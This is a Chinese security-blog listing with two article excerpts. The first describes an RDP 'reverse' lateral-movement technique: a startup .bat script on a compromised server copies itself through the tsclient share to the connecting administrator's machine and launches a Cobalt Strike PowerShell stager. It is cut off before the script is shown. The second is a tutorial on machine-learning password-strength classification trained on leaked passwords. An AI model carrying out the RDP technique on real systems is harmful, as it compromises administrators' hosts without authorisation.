的。RDP 反向攻击测试(初探)实验环境:image-20210713103049331假设攻击者已经通过各种手段拿下了 Windows Server 2012 这台服务器,但是目标网络环境为了限制其它接入端口风险,只允许Windows Server 2012 开启 3389 端口,由位于更深一层网络中的管理员主机 Windows 10 使用远程桌面来进行管理维护,那我们该如何通过 Windows Server 2012 进行横向渗透并拿下这台 Windows 10 管理员主机呢?我们的思路是,在远程主机的启动项中写入一个 .bat 脚本(run.bat),当一个客户端用户通过远程桌面连接到这个远程主机时,在登陆之后会立即执行这个启动项中的 run.bat 脚本。start.bat 脚本执行后会首先遍历 tsclient 共享,发现 tsclient 共享后就会将自己复制到 tsclient 也就是连接远程主机的客户端主机上的启动项中,然后执行一个 Cobalt Strike 生成的 PowerShell Stager。然后,当客户端主机重启或者注销重新登录后就会再次进行上述过程,同时会使客户端主机上线。下面我们演示攻击过程。首先简单编写一个 run.bat(仅提供测试使用):# 关闭echo响应功能@echo offecho Updating...
阅读全文
基于机器学习的密码强度检测 安全文章

基于机器学习的密码强度检测

原文:Machine Learning based Password Strength Classification地址:http://web.archive.org/web/20170606022743/http://fsecurify.com/machine-learning-based-password-strength-checking/近期,我想做一些机遇机器学习和网络安全的项目。这是另一个与信息安全和机器学习有关的项目。各公司的密码强度检测都不近相同。但所有的这些检测都是基于规则的。一个密码在Google这边可能是强密码但在Dropbox就变成了弱密码。我在想我们能否让机器学习算法来决定一个密码是弱密码还是强密码。于是,这个帖子诞生了。让我们开始吧。数据收集此次分析所使用的密码数据来自于000webhost泄漏,此数据可在网上下载。那么我们是如何决定哪些密码是高强度的哪些密码是低强度的呢?Well,Georgia Tech university开发了一款名叫PARS的工具,这款工具集成了各大公司所使用的密码强度检测规则。这些文件有两行数据,密码和强度。我在此使用的密码强度检测算法来自于Twitter,微软和暴雪。这个算法与其他检测仪有什么区别呢?首先,它是纯粹基于机器学习而不是密码规则的。其次,我只保留了那些三种检测仪都认为强度是弱、中等、强的密码。这意味着所有用来训练的密码的强度都确实是弱、中等、强的。下面是一些用来训练模型的密码样本:0 for weak, 1 for medium and 2 for stronglamborghin1,1AVYq1lDE4MgAZfNt,2u6c8vhow,1v1118714,1universe2908,1as326159,1asv5o9yu,1intel1,0612035180tok,1jytifok873,1WUt9IZzE0OQ7PkNE,2lsdlsd1,0我原本有300万条密码数据,但是过滤出满足三个密码强度检测仪后只剩下70万条密码数据了,我将这些数据分为了80%的训练集和20%的测试集。其中过滤掉了许多数据是因为我只用了那些被三个分类算法都认为是相同强度的密码。数据分析我将使用Tf-idf分数而不是整条密码,我将使用每个字符作为一个token。其他我没用到的指标有密码长度,特殊字符的数量,包含数字的数量等。这是一个自定义的令牌解析器(tokenizer)。def getTokens(inputString): tokens = for i in inputString: tokens.append(i) return tokens加载数据。filepath = 'your_file_path_containing_passwords_and_labels'data = pd.read_csv(filepath,',',error_bad_lines=False)data = pd.DataFrame(data)passwords = np.array(data)现在打乱数据集,然后获取y和X向量。random.shuffle(passwords)y = allpasswords= 现在在我们的密码语料库(corpus)上使用Tfidvectorizer分割数据。vectorizer = TfidfVectorizer(tokenizer=getTokens)X = vectorizer.fit_transform(allpasswords)X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=42)That's it. 现在我们需要做的就是应用机器学习算法然后我门就拥有了一个基于机器学习的密码强度检测器。开工!由于我想让算法运行更快一些,在此我使用了多分类的逻辑回归算法。lgs = LogisticRegression(penalty='l2',multi_class='ovr')lgs.fit(X_train, y_train)print(lgs.score(X_test, y_test))我们的准确率(accuracy)大概有81%,这可能是由于我们没有使用大量的数据。这代表80%的情况下,我们算法能够将密码正确分类(与三个商业的密码检测器分类结果相同)。让我们来看看这个算法是如何将我们的密码分类的。X_predict = X_predict = vectorizer.transform(X_predict)y_Predict = lgs.predict(X_predict)print y_Predict来看看结果。faizanahmad faizanahmad123 faizanahmad## ajd1348#28t** ffffffffff kuiqwasdi uiquiuiiuiuiuiuiuiuiuiuiui mynameis123faizan# faizan abcdef 看起来我们的算法知道字母、数字和特殊符号的组合是一个好的密码。很好,结果看起来很好,不是吗?有一些需要注意的地方,由于此模型是从已经存在的检测算法中的规则训练的,但我组合了三种不同的检测方法来使他更可靠(robust)。它不只是基于算法模仿了一个规则。它综合了广泛使用的许多密码强度检查算法。这个项目是我在闲暇时间做的,它肯定是不完全的。这只是实现我心中的一个想法,然后分享与你们大家。我相信这个项目可以进一步扩展为更强大,更有意义的密码检测器/分类器。代码和数据可以在此找到:https://github.com/faizann24/Machine-Learning-based-Password-Strength-Classification 本文始发于微信公众号(T00ls):基于机器学习的密码强度检测
阅读全文